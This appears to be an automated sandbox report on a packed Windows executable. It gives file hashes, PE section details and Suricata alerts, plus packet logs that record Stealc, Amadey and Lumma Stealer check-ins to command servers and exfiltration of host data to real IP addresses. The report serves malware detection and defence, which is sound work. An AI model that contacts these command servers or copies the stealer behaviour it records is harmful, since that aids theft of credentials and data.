URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3603)
Category:	downloaded
Size (bytes):	3608
Entropy (8bit):	5.841409504124577
Encrypted:	false
SSDEEP:	96:5VM6liatH6666UCdZO4RjJ+e4IzVebgiGeHc465jw2Rfffffo:5VMI9tH6666fdZOqf3AxGR46m
MD5:	E242A78EE4029DE5D9F98F9C8AEBC1CD
SHA1:	43A1DAA019FF6E576313C5C342ECB66A5F8D1152
SHA-256:	4B2886D616EBA0D5C10805A831A182D645B9242173E9F269737BE83994C9049C
SHA-512:	14713037D51DB16B728E77C40957094EB9944706AAD3B98ED771F741D1B37FAD338D158544C644AAD392D7A70435801B205465B746275A953C62841266240DD5
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["zac taylor","nvidia stocks","motortrend roadkill ending","southern california doomsday fish","weather forecast snow storm","ffxiv mobile","delta shake shack burgers","mortal kombat 1 ghostface fatality"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"CgkvbS8wYmIxcWcSDkZvb3RiYWxsIGNvYWNoMtMPZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CSWdBQ0VRRURFUUgveEFBY0FBQURBUUFDQXdBQUFBQUFBQUFBQUFBRUJRWUhBZ01BQVFqL3hBQTFFQUFCQXdNQ0F3VUZCd1VBQUFBQUFBQUJBZ01FQUFVUkVpRUdFekVpUVZHQmtSUkNZWEdoRlNNeVVvS3g0UWNXWXNIdy84UUFHQUVCQVFFQkFRQUFBQUFBQUFBQUFBQUFCQU1DQUFIL3hBQWdFUUFDQWdJQ0FnTUF

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.943574112472186
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'801'216 bytes
MD5:	4b517665a74a84df87d5360aa6560efb
SHA1:	8e2981eaf255f7e1cc90da8b494148281769bcb4
SHA256:	462b590df7f786de4cb422be74146d935f45d47008a25fe26979f3737f3dd972
SHA512:	98bd7c367a1c98eb8bacc975f5cd1a9302d68f6661af529f173fa9f2433ab773aed7c9a6fc8b41b654fffd3514443ec1804b86b747baf9b0d9381ce7d6b388ee
SSDEEP:	49152:LKaFTLAwjiRsaAe9BOKRdqo0GQtTyWHIQ:2onjiyaAeOKRdEGETy
TLSH:	D18533745690DDADCA51DFF1BFE535C2112296EA858B38082A308D530F5536E3BFDE82
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa94000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F34C0B7403Ah
cvtps2pd xmm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	5c42b0d2f525a8874587ef6185863d30	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	5dc7eac4ac669ecfb0e1033440cd814b	False	0.58203125	data	4.548381998243346	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a9000	0x200	c70ed40ed1a89f8e2d586f85e535ca56	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rjdslfrf	0x4f5000	0x19e000	0x19dc00	fc563d817a0e4c410ceb2dcc3ad0f8b4	False	0.9948723092900302	data	7.954511523378281	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pnddpvcn	0x693000	0x1000	0x600	40c9c9b8c054d4eafe2b5bdd85c2df54	False	0.5852864583333334	data	5.059793456895665	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x694000	0x3000	0x2200	eca5da2545a52d84cc7ee2222961e937	False	0.006433823529411764	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6929cc	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T12:57:38.152877+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-20T12:57:38.381103+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-20T12:57:38.388308+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-11-20T12:57:38.609892+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-20T12:57:38.617090+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-11-20T12:57:39.632568+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-20T12:57:40.160190+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-20T12:57:53.037572+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-20T12:57:54.063004+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-20T12:57:54.686439+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-20T12:57:55.377655+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-20T12:57:57.040882+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-20T12:57:57.539745+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-20T12:58:01.007508+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49761	185.215.113.16	80	TCP
2024-11-20T12:59:04.174371+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	50027	185.215.113.43	80	TCP
2024-11-20T12:59:07.213278+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50031	150.241.91.218	80	TCP
2024-11-20T12:59:10.625491+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	50030	TCP
2024-11-20T12:59:11.315680+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50032	185.215.113.43	80	TCP
2024-11-20T12:59:12.052061+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50033	31.41.244.11	80	TCP
2024-11-20T12:59:18.543037+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50034	185.215.113.43	80	TCP
2024-11-20T12:59:23.866635+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50038	185.215.113.16	80	TCP
2024-11-20T12:59:27.770731+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	50037	TCP
2024-11-20T12:59:28.485355+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50039	185.215.113.43	80	TCP
2024-11-20T12:59:29.090454+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50041	188.114.96.3	443	TCP
2024-11-20T12:59:29.189870+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50040	185.215.113.16	80	TCP
2024-11-20T12:59:29.532622+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50041	188.114.96.3	443	TCP
2024-11-20T12:59:29.532622+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50041	188.114.96.3	443	TCP
2024-11-20T12:59:30.873038+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50042	188.114.96.3	443	TCP
2024-11-20T12:59:31.264590+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50042	188.114.96.3	443	TCP
2024-11-20T12:59:31.264590+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50042	188.114.96.3	443	TCP
2024-11-20T12:59:32.433972+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50043	188.114.96.3	443	TCP
2024-11-20T12:59:33.709287+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50044	185.215.113.43	80	TCP
2024-11-20T12:59:33.813383+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50045	188.114.96.3	443	TCP
2024-11-20T12:59:34.428895+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50047	185.215.113.16	80	TCP
2024-11-20T12:59:34.620714+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50046	185.215.113.206	80	TCP
2024-11-20T12:59:35.077894+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50048	188.114.96.3	443	TCP
2024-11-20T12:59:36.746814+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50049	188.114.96.3	443	TCP
2024-11-20T12:59:37.138378+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50049	188.114.96.3	443	TCP
2024-11-20T12:59:38.520887+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50050	185.215.113.43	80	TCP
2024-11-20T12:59:39.276925+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50051	185.215.113.16	80	TCP
2024-11-20T12:59:39.809087+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50052	188.114.96.3	443	TCP
2024-11-20T12:59:39.863343+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50052	188.114.96.3	443	TCP
2024-11-20T12:59:41.567698+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50053	188.114.96.3	443	TCP
2024-11-20T12:59:47.104714+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50085	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 12:57:31.947891951 CET	49675	443	192.168.2.4	173.222.162.32
Nov 20, 2024 12:57:37.190675974 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:37.195909023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:37.195966005 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:37.196181059 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:37.201016903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:37.907480001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:37.907558918 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:37.911222935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:37.917252064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.151223898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.152877092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:38.154086113 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:38.158984900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.380971909 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.381000042 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.381103039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:38.382462978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:38.388308048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.609817982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.609878063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.609891891 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:38.609918118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.609927893 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:38.609954119 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.609960079 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:38.609991074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.609997988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:38.610024929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.610028028 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:38.610064030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.610069990 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:38.610102892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:38.611982107 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:38.617089987 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.862200975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.862289906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:38.887339115 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:38.887382030 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:38.892400026 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.892430067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.892482042 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.892509937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.892537117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.892585993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:38.892612934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:39.632421970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:39.632567883 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:39.935924053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:39.941029072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.159914017 CET	80	49730	185.215.113.206	192.168.2.4
